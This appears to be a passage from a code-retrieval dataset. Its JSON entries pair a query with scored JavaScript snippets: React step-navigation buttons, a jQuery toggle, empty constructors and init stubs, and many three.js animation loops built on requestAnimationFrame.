previousButton(){\n let currentStep = this.state.currentStep;\n // If the current step is not 1, then render the \"previous\" button\n if(currentStep !==1){\n return (\n <button\n className=\"btn btn-outline-primary btn-block mt-2\"\n type=\"button\" onClick={this._prev}>\n Back\n </button>\n )\n }\n // ...else return nothing\n return null;\n }", "title": "" }, { "docid": "8cc2b0d0372a34a511931c965e9737f9", "score": "0.6105351", "text": "get previousButton(){\n let currentStep = this.state.currentStep;\n // If the current step is not 1, then render the \"previous\" button\n if(currentStep !==1){\n return (\n <button\n className=\"btn btn-outline-primary btn-block mt-2\"\n type=\"button\" onClick={this._prev}>\n Back\n </button>\n )\n }\n // ...else return nothing\n return null;\n }", "title": "" }, { "docid": "4f91e194e72736f870978bc00a42fd84", "score": "0.61027825", "text": "function goPrev (pageNumber) {\n var new_link = '';\n if (pageNumber > 1){\n temp_page = pageNumber - 1;\n if (temp_page <= 9)\n new_link = 'p0' + temp_page + '.html';\n else\n new_link = 'p' + temp_page + '.html';\n }else{\n new_link = '../index.html';\n }\n window.location.href = new_link;\n}", "title": "" }, { "docid": "32c50fdd55a262eb838ad9eefeab003e", "score": "0.610121", "text": "previousButton() {\n let currentStep = this.state.currentStep;\n if (currentStep !== 1) {\n return (\n // <button\n // className=\"btn btn-secondary\"\n // type=\"button\" onClick={this._prev}>\n // ↵\n // </button>\n <IconContext.Provider value={{ color: 'black' }}>\n <div className=\"add\">\n {/* <button onClick = { this.handleSubmit }><AiFillSave className = \"add\" /></button> */}\n {/* <input type = \"submit\"value = \"+\" onClick = { this.handleSubmit }/> */}\n <GrFormPreviousLink style={{ fontSize: '2.5rem', cursor: 'pointer' }} onClick={this._prev} />\n </div>\n </IconContext.Provider>\n\n )\n }\n return null;\n\n }", "title": "" } ]
938e6a0a05effb0de42e67450e4925e1
Created by Ivanna on 08.05.2015.
[ { "docid": "0e17633d5775003e3986119abe71b5f6", "score": "0.0", "text": "function courseTypeSpoiler(el) {\n if ($('#typeList').css('display')=='none') {\n $('#trg').text(\"\\u25B2\");\n }\n if($('#typeList').css('display')=='block'){\n $('#trg').text(\"\\u25BC\");\n }\n $('#typeList').toggle('normal');\n return false;\n}", "title": "" } ]
[ { "docid": "10d5627078b78749ec09d72a3aae1520", "score": "0.63547885", "text": "function() {\n\t\t//...\n\t}", "title": "" }, { "docid": "255592ec516d37740c1bb01fe457cf43", "score": "0.5651261", "text": "function __bRsBIa0_bqDi8hIGe5YJ9Ww(){}", "title": "" }, { "docid": "750bcf2367b26b42e540c220ceca9e1f", "score": "0.55323744", "text": "constructor () {\n\n\t}", "title": "" }, { "docid": "1f8951dc8e007d65f8c777090e63e67b", "score": "0.54697835", "text": "constructor( ) {\n }", "title": "" }, { "docid": "22495c668e66b783acc5d3fd2919d29d", "score": "0.5393184", "text": "__previnit(){}", "title": "" }, { "docid": "c8b5ab86038bdb6473d08707aa85ab20", "score": "0.5376647", "text": "constructor() {\n\t}", "title": "" }, { "docid": "c8b5ab86038bdb6473d08707aa85ab20", "score": "0.5376647", "text": "constructor() {\n\t}", "title": "" }, { "docid": "c8b5ab86038bdb6473d08707aa85ab20", "score": "0.5376647", "text": "constructor() {\n\t}", "title": "" }, { "docid": "e49940cbad60ff9b63113eab2dcc12ae", "score": "0.537014", "text": "function Vaildator() {\n}", "title": "" }, { "docid": "0186459e4ce622a72f71947a8077227c", "score": "0.53697455", "text": "init() {\n\n\t}", "title": "" }, { "docid": "5852fe94875c5318206fbb0d492e7530", "score": "0.533166", "text": "function NuJ_bf11a_aj69OXVnEw9Zyw(){}", "title": "" }, { "docid": "50ade5d3e622801b058d4271f7805030", "score": "0.5316579", "text": "function inizio_gioco() {\n\t\n}", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.52326316", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5212057", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5212057", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5212057", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5212057", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5212057", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5212057", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5212057", "text": "constructor() {\n \n }", "title": "" }, { "docid": "306a6831588985655a0f9fa260ba672f", "score": "0.5212057", "text": "constructor() {\n \n }", "title": "" }, { "docid": "94d3d74f39231d7112728b8ab0033b38", "score": "0.52112895", "text": "constructor (){\n\n \n }", "title": "" }, { "docid": "d137af80c61e1e90ad9432eae8f932d5", "score": "0.51719797", "text": "constructor() {\n }", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.5149278", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.5149278", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.5149278", "text": "initialize() {}", "title": "" }, { "docid": "a07c756a97e324a1a2aa690cc9683a8c", "score": "0.51315874", "text": "updated () {}", "title": "" }, { "docid": "8cac41cff01e0a74ce4c333fcf9b86c2", "score": "0.50967133", "text": "init () {}", "title": "" }, { "docid": "8c6b08accc47313409d1e8bcc739d7c3", "score": "0.50498474", "text": "function init() {\n\n }", "title": "" }, { "docid": "c9178323c2f9cef046a9c940e3f92f22", "score": "0.5049061", "text": "constructor () {}", "title": "" }, { "docid": "f66ee57414255f4244ad5d088c1767f9", "score": "0.50390685", "text": "constructor() {\n\t\t// ...\n\t}", "title": "" }, { "docid": "367e9e1c0f4ef7259f8d24067a4b93f0", "score": "0.5033624", "text": "postinit() {}", "title": "" }, { "docid": "8e0d47c54af8e39572800bc9124ead10", "score": "0.50272024", "text": "initialize() { }", "title": "" }, { "docid": "6224c64ebb52913557e72731826de310", "score": "0.50224906", "text": "load() {\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "dff228621940d716f0e7460bf8561881", "score": "0.49807003", "text": "static manages() { return false; }", "title": "" }, { "docid": "ac2425d4498a7aac545ee7ab329ef116", "score": "0.4979421", "text": "init() {\n //KHONG CAN TAO //chi tao khi tao database thoi\n }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.49739373", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.49739373", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.49739373", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.49739373", "text": "init() { }", "title": "" }, { "docid": "7c7cd2808ecab0cbd844549068f1c67e", "score": "0.49675423", "text": "function init() { \n \n }", "title": "" }, { "docid": "e936f5d43518d07c719777223b21571e", "score": "0.49656153", "text": "init()\n {\n\n }", "title": "" }, { "docid": "79e75f3255ba93f5015a28971728be70", "score": "0.49516776", "text": "prepare() {\n\n\t}", "title": "" }, { "docid": "88a3d87639737356ea830ace34260be6", "score": "0.4935625", "text": "$onCreate () {}", "title": "" }, { "docid": "da01933f6cf64c21ae7038a82fba0a17", "score": "0.49128914", "text": "function Se(){}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.49115312", "text": "init() {}", "title": "" }, { "docid": "b541d818021bd88cf39418a5b48d9edf", "score": "0.49110204", "text": "constructor() {\r\n\r\n }", "title": "" }, { "docid": "182ba51512ac2bd15c39979213dc2c55", "score": "0.49060917", "text": "constructor() {\n \n \n }", "title": "" }, { "docid": "b847d12db3d5c5eb7c351a789c15a163", "score": "0.48959506", "text": "constructor() {\n \n \n \n }", "title": "" }, { "docid": "b847d12db3d5c5eb7c351a789c15a163", "score": "0.48959506", "text": "constructor() {\n \n \n \n }", "title": "" }, { "docid": "b847d12db3d5c5eb7c351a789c15a163", "score": "0.48959506", "text": "constructor() {\n \n \n \n }", "title": "" }, { "docid": "b847d12db3d5c5eb7c351a789c15a163", "score": "0.48959506", "text": "constructor() {\n \n \n \n }", "title": "" }, { "docid": "b847d12db3d5c5eb7c351a789c15a163", "score": "0.48959506", "text": "constructor() {\n \n \n \n }", "title": "" } ]
afc6641b375485058e77705bf97e8969
Avoid constantly rendering the scene by only updating the controls every requestAnimationFrame
[ { "docid": "56561039f85f0e6ab96b321c096f2399", "score": "0.7323103", "text": "function animationLoop() {\n requestAnimationFrame(animationLoop);\n controls.update();\n}", "title": "" } ]
[ { "docid": "368d13123906f211c936dbdab00868d9", "score": "0.8045499", "text": "function update() {\n requestAnimationFrame(update);\n //controls.update();\n render();\n}", "title": "" }, { "docid": "a52c94a77d899be321f699a157330095", "score": "0.7992588", "text": "function update() {\n //render\n renderer.render(scene, camera);\n\n //schedule the next frame.\n requestAnimationFrame(update);\n controls.update();\n}", "title": "" }, { "docid": "80112eb663a7f4432aa84b374a7eec3b", "score": "0.7630023", "text": "function animate() {\n requestAnimationFrame(animate);\n controls.update();\n renderer.render(scene, camera);\n}", "title": "" }, { "docid": "32ab6f9b98a2c80ed9149599a62a5f4e", "score": "0.762395", "text": "function animate () {\n controls.update()\n renderer.render(scene, camera)\n requestAnimationFrame(animate)\n}", "title": "" }, { "docid": "32ab6f9b98a2c80ed9149599a62a5f4e", "score": "0.762395", "text": "function animate () {\n controls.update()\n renderer.render(scene, camera)\n requestAnimationFrame(animate)\n}", "title": "" }, { "docid": "ed0e6c294b2424d52be1ab5412fa60c7", "score": "0.755165", "text": "function animate() {\n requestAnimationFrame(animate);\n controls.update();\n renderer.render(scene, camera);\n }", "title": "" }, { "docid": "a5e146f1274611a7411b9c78083c7f21", "score": "0.75489235", "text": "function animate() {\n requestAnimationFrame(animate);\n controls.update();\n renderer.render(scene, camera);\n }", "title": "" }, { "docid": "15244fbe428c26525c4a659f5f3fb435", "score": "0.7476833", "text": "function animate(){\n // render\n renderer.render(scene, camera);\n \n // request new frame\n requestAnimationFrame(function(){\n animate();\n });\n controls.update();\n }", "title": "" }, { "docid": "eaed77f27a2d5aded4d373cf93b965be", "score": "0.74740463", "text": "function animate() {\n animationFrame = requestAnimationFrame(animate);\n controls.update();\n Renderer.render(scene, camera);\n}", "title": "" }, { "docid": "25c0baac75c44d860e6bc8e924cf6677", "score": "0.7397032", "text": "function animate() {\n \trequestAnimationFrame( animate );\n\t//controls.update();\n\trenderer.render(scene, camera);\n}", "title": "" }, { "docid": "80e30c885126ceec7aef7b8326f787dc", "score": "0.7298746", "text": "function render() {\n requestAnimationFrame(render);\n\n controls.update(clock.getDelta());\n renderer.render(scene, camera);\n}", "title": "" }, { "docid": "204b67d7b427fa7178e65315b4321d72", "score": "0.72915155", "text": "function animate() {\r\n\r\n // Read more about requestAnimationFrame at http://www.paulirish.com/2011/requestanimationframe-for-smart-animating/\r\n requestAnimationFrame(animate);\r\n\r\n // Render the scene.\r\n renderer.render(scene, camera);\r\n controls.update();\r\n\r\n}", "title": "" }, { "docid": "d3ded7d752419396eeab1a47aa7f039f", "score": "0.7183103", "text": "function animate() {\n\trequestAnimationFrame( animate );\n\tcontrols.update();\n\trenderer.render( scene, camera );\n}", "title": "" }, { "docid": "0a8b42b2a649d072563de88e301afdcf", "score": "0.718257", "text": "function animate()\n{\n // var i = 0\n for (i = 0; i < controls.length; i++)\n {\n controls[i].update();\n renderers[i].render(scene[i], cameras[i]);\n }\n}", "title": "" }, { "docid": "f75c4ad646d8a2e29914112ce570d0fb", "score": "0.7169866", "text": "function animate() {\n controls.update();\n renderer.render(scene, camera);\n stats.update();\n\n // request new frame\n requestAnimationFrame(function() {\n animate();\n });\n }", "title": "" }, { "docid": "9116d3ab843de5f04d34c8bde52563b1", "score": "0.7162429", "text": "function render() {\n \trequestAnimationFrame( render );\n control.update(0.5);\n \trenderer.render( scene, camera );\n }", "title": "" }, { "docid": "cc5f0b06f155fbf86f7e57fd091c99b1", "score": "0.71214205", "text": "function tick() {\n requestAnimationFrame(tick);\n\n drawScene();\n animate();\n}", "title": "" }, { "docid": "910418d3eb23e530db27195c5b7eef94", "score": "0.7111603", "text": "function animate() \n{\n\t\n/*\n\t// const hasControlsUpdated = cameraControls.update( delta );\n\trequestAnimationFrame(animate);\n\trender();\n\trenderer.render(scene, camera);\n\tvar dt = clock.getDelta();\n\tengine.update( dt * 0.5);\n\tcontrols.update();\n\tstats.update();\t\n\t//controls.update();\n\t\n */\n requestAnimationFrame(animate);\n render();\n renderer.render(scene, camera);\n controls.update();\n stats.update();\n var dt = clock.getDelta();\n engine.update( dt * 0.5);\t\n //controls.update();\n}", "title": "" }, { "docid": "5c9c8bcaf040a9a207281a5aababc0e4", "score": "0.7085103", "text": "function animate() {\n\n // render\n controls.update();\n renderer.render(scene, camera);\n stats.update();\n\n // request new frame\n requestAnimationFrame(function() {\n animate();\n });\n }", "title": "" }, { "docid": "44be5b7c2bb839e13c8c85937d9fca18", "score": "0.7061193", "text": "function animate() {\n\n window.requestAnimationFrame( animate ) ||\n window.mozRequestAnimationFrame( animate ) ||\n window.webkitRequestAnimationFrame( animate ) ||\n window.msRequestAnimationFrame( animate ) ||\n window.oRequestAnimationFrame( animate )\n controls.update();\n render();\n\n}", "title": "" }, { "docid": "ca2e4e4e4594cc7024cbf1b8c242fcf4", "score": "0.7037274", "text": "function render(){\n\t\trequestAnimationFrame(render);\n\t\t//controls.update();\n\t\t//keyControl();\n\t\trenderer.render(scene,camera);\n\t}", "title": "" }, { "docid": "dc7cdfdd54705696b95e0b47a1ca826f", "score": "0.6998708", "text": "function update(){\n\t requestAnimationFrame(update);\n\t renderer.render(stage);\n\t d.update();\n\t}", "title": "" }, { "docid": "d6add4005d2040f99e01210d434abb76", "score": "0.6997149", "text": "function animate() {\n\n // Read more about requestAnimationFrame at http://www.paulirish.com/2011/requestanimationframe-for-smart-animating/\n requestAnimationFrame(animate);\n\n // Render the scene.\n renderer.render(scene, camera);\n controls.update();\n\n }", "title": "" }, { "docid": "3c6abea36dce9d756c3eeaf929e47005", "score": "0.6992871", "text": "function render() {\n controls.update();\n renderer.render(scene, camera);\n}", "title": "" }, { "docid": "3d137fb10344ccf0b4808248de393c1a", "score": "0.6989073", "text": "function update()\n{\n requestAnimationFrame(function() { update(); });\n //Hace el rendering de la imagen\n renderer.render( scene, camera );\n animate();\n}", "title": "" }, { "docid": "9f10f9124bcdf65959b4ccd87ecee07d", "score": "0.69859624", "text": "update()\n {\n window.requestAnimationFrame(gameNs.game.update);\n gameNs.sceneManager.update();\n //this.draw();\n //console.log(\"update called\")\n }", "title": "" }, { "docid": "9e3525bb8eacb99d7a59aecc1228e8cd", "score": "0.69832325", "text": "function update() {\n\n\t/* CLOCK */\n\tlet CLOCK_delta = CLOCK_OBJECT.getDelta()\n\n\t/* SPRITE */\n\tfor (let MESH_TAB_INDEX = 0; MESH_TAB_INDEX < MESH_TAB.length-2; MESH_TAB_INDEX++) {\n\t\tMESH_TAB[MESH_TAB_INDEX].update(1000 * CLOCK_delta)\n\t}\n\n\tif (MESH_GROUP.position.z < 60) {\n\t\tbtnClickDisplayed = false;\n\t\tMESH_GROUP.position.z += .1\n\n\t} else {\n\t\tif(!btnClickDisplayed) {\n\t\t\tbtnClickDisplayed = true;\n\n\t\t\tdocument.querySelector('.scene1 .js-click').style.display = \"block\";\n\t\t\tTweenLite.to(document.querySelector('.scene1 .js-click'), 0.4, {opacity: 1})\n\t\t}\n\t}\n\n\t/* Camera */\n\tCAMERA_OBJECT.rotation.x = -(MOUSE_POSITION_y - (WINDOW_width / 2)) * (5 * Math.PI / 180 / (WINDOW_width / 2))\n\tCAMERA_OBJECT.rotation.y = -(MOUSE_POSITION_x - (WINDOW_width / 2)) * (5 * Math.PI / 180 / (WINDOW_width / 2))\n\n\t/* RENDER */\n\tRENDER_OBJECT.render(SCENE_OBJECT, CAMERA_OBJECT)\n\n\t/* UPDATE */\n\trequestAnimationFrame(update)\n\n}", "title": "" }, { "docid": "4ea47b584486d5cb111ed156089b5a4c", "score": "0.69803894", "text": "function render() {\r\n\t\tmouseControls.update(); // Effects control with mouse\r\n\t\t// Checks if camera position was changed through GUI\r\n\t\tif (controls.camerax_prev != camera.position.x){\r\n\t\t controls.camerax = camera.position.x;\r\n\t\t controls.camerax_prev = camera.position.x;\r\n\t\t controlx.updateDisplay(); // Updates GUI if camera moved through mouse\r\n\t }\r\n\t if (controls.cameray_prev != camera.position.y){\r\n\t\t controls.cameray = camera.position.y;\r\n\t\t controls.cameray_prev = camera.position.y;\r\n\t\t controly.updateDisplay();\r\n\t }\r\n\t\tif (controls.cameraz_prev != camera.position.z){\r\n\t\t\tcontrols.cameraz = camera.position.z;\r\n\t\t\tcontrols.cameraz_prev = camera.position.z;\r\n\t\t\tcontrolz.updateDisplay();\r\n\t\t}\r\n\t\t\r\n\r\n\t\tif(controls.waveS==true && controls.waveP==true){\r\n\t\t\tuniforms1.wave_s.value=1.0;\r\n\t\t\tuniforms1.wave_p.value=1.0;\r\n\t\t}else if(controls.waveS==true){\r\n\t\t\tuniforms1.wave_s.value=1.0;\r\n\t\t\tuniforms1.wave_p.value=0.0;\r\n\t\t }else if(controls.waveP==true){\r\n\t\t\tuniforms1.wave_s.value=0.0;\r\n\t\t\tuniforms1.wave_p.value=1.0;\r\n\t\t }else{\r\n\t\t\tuniforms1.wave_s.value=0.0;\r\n\t\t\tuniforms1.wave_p.value=0.0;\r\n\t\t }\r\n\t var delta = clock.getDelta();\r\n\t \r\n\t\tif(controls.Change_direction==false){\r\n\t\t\tuniforms1.time.value += delta * 2;\r\n\t\t}else{\r\n\t\t\tuniforms1.time.value -= delta * 2;\r\n\t\t}\r\n\t\t\r\n\t\t\r\n requestAnimationFrame( render );\r\n stats.update();\r\n renderer.render( scene, camera ); \r\n }", "title": "" }, { "docid": "c22c01fc9218525ddc85a0f0b9bf2b16", "score": "0.6971611", "text": "function render() {\n// var timer = Date.now() * 0.0001;\n background.update();\n cta.update();\n game.update();\n\n renderer.render(scene, camera);\n requestAnimationFrame(render);\n }", "title": "" }, { "docid": "a249ebce3521560e958356d6e6b1da98", "score": "0.6958495", "text": "_render() {\n this.update();\n requestAnimationFrame(() => {\n this._render();\n });\n }", "title": "" }, { "docid": "3318a1774a7adc6bd7a2e0dd9ba2b50d", "score": "0.6953711", "text": "function animate() {\r\n\t\trequestAnimationFrame( animate );\r\n\t\t//orbit_controls.update()\r\n\t\trenderer.render(scene,camera);\r\n\t}", "title": "" }, { "docid": "e12418070101c13c0d15208bc85b6a9a", "score": "0.6903567", "text": "function animate() {\n\n // Read more about requestAnimationFrame at http://www.paulirish.com/2011/requestanimationframe-for-smart-animating/\n var delta = requestAnimationFrame(animate);\n\n // Render the scene.\n rendererCSS.render(cssScene, camera);\n renderer.render(scene, camera);\n\n\n if (cameraControls) {\n //cameraControls.update(delta);\n cameraControls.update(delta);\n\n }\n\n TWEEN.update();\n }", "title": "" }, { "docid": "99239fb3d1fff0f45dfdfbf3eaba65ff", "score": "0.68992126", "text": "function render() {\n that.controls.update();\n requestAnimationFrame(render);\n that.renderer.render(that.scene, that.camera);\n }", "title": "" }, { "docid": "3b19ecbe40360ff1456d68c569902cd1", "score": "0.6887738", "text": "function animate() {\n requestAnimationFrame(animate);\n // Update controls\n controlsObject.update(clock.getDelta());\n\n processLoadedStuff();\n\n\n // Update with SceneOptions\n watchSceneOptions();\n\n // Update potential animation\n TWEEN.update();\n // Sometimes needs a reFrame\n if (needsRedraw) {\n needsRedraw = false;\n if (_this.transformControlsEnabled()) {\n transformControls.update();\n }\n _this.stats.update();\n updateMeasures();\n render();\n }\n if (controlChanged && App.collaborativeController) {\n App.collaborativeController.sendCameraInfos();\n controlChanged = false;\n }\n }", "title": "" }, { "docid": "b6930813b4fd9e3afd06ef249385bdb7", "score": "0.6887363", "text": "function loop()\n{\n requestAnimationFrame(loop);\n\n app.renderer.render(stage);\n}", "title": "" }, { "docid": "89ec7bd1f0fd8ea22f348781524a9bc5", "score": "0.6881829", "text": "function run() {\n //Ask to call again run\n requestAnimationFrame(run);\n\n //Render the scene\n render();\n\n //Animate if the camera should move\n animate();\n\n \n}", "title": "" }, { "docid": "06e1aeea44c180b390badcdd9f51fa22", "score": "0.68751323", "text": "function everyFrame() {\n\tupdate();\n\trender();\n\trequestAnimationFrame(everyFrame);\n}", "title": "" }, { "docid": "1e781d722aa17c3d3c8f8d2f648cd8a7", "score": "0.6845753", "text": "animate() {\n if (!this.runbutton || this.runbutton.checked) {\n let delta = performance.now() - this.lastRenderTime;\n let speed = this.speedcontrol ? Number(this.speedcontrol.value) : 1.0;\n this.tick(delta * speed,this.lastTimeOfDay);\n }\n // since we're already running an animation loop, update view controls here.\n // Pass in a delta since that's what fly controls want. Orbit controls can just ignore.\n if (this.active_controls)\n {\n // @ts-ignore // this is an error since the argument is sometimes ignored\n this.active_controls.update(0.1);\n }\n this.draw();\n }", "title": "" }, { "docid": "1ea1c94e34a0d7c803096d52af156424", "score": "0.68287575", "text": "function renderScene() {\n stats.update()\n trackballControls.update(clock.getDelta())\n \n scene.traverse((element) => {\n if(element instanceof THREE.Mesh && element != plane) {\n element.rotation.x += controls.rotationSpeed\n element.rotation.y += controls.rotationSpeed\n element.rotation.z += controls.rotationSpeed\n }\n })\n\n requestAnimationFrame(renderScene)\n renderer.render(scene, camera)\n }", "title": "" }, { "docid": "e3ea91fc6805a0f732f98004c1e4380c", "score": "0.6787861", "text": "function renderScene() {\n stats.update()\n trackballControls.update(clock.getDelta())\n\n requestAnimationFrame(renderScene)\n renderer.render(scene, camera)\n }", "title": "" }, { "docid": "f3353ec41b17a85b15cec9db14172994", "score": "0.67785084", "text": "updateAndRender() {\n this.update();\n this.startFrame();\n this.render();\n }", "title": "" }, { "docid": "08b2b2061310b342117a786a964bfb2d", "score": "0.67640233", "text": "update() {\n if (this.running) {\n this.updateObjects();\n window.requestAnimationFrame(this.update.bind(this));\n }\n }", "title": "" }, { "docid": "072724c7537451f7fcad6f4d40cc1c56", "score": "0.675834", "text": "function render() {\n // controls.update(camera);\n renderer.render(scene, camera);\n requestAnimFrame(render);\n}", "title": "" }, { "docid": "5c10d90866ba43e54fd6ef4bcd7533bf", "score": "0.6754467", "text": "function render() {\n renderer.setClearColor(\"#000000\", 1);\n\n requestAnimationFrame(render);\n //requestAnimationFrame() is like setInterval()\n // but can do other things, like automatically\n // pause when user chgs tabs\n\n\n\n //a little animation\n //cube.rotation.x += 0.1;\n //cube.rotation.y += 0.1;\n if (state.play) {\n //update gui\n supervisor.menu.update();\n\n //update position\n for (var key in supervisor.particles) {\n supervisor.particles[key].update();\n }\n }\n renderer.render(scene, camera);\n}", "title": "" }, { "docid": "a6c79951b1b32f4c28d8a35b1e97a9f7", "score": "0.67485225", "text": "function animate() {\r\n requestAnimationFrame(animate);\r\n\r\n objectsRender(THREE);\r\n\r\n // ! Render the scene BEFORE render the Lights\r\n // ! To prevent texture is `none`\r\n quickRender();\r\n lightsRender();\r\n 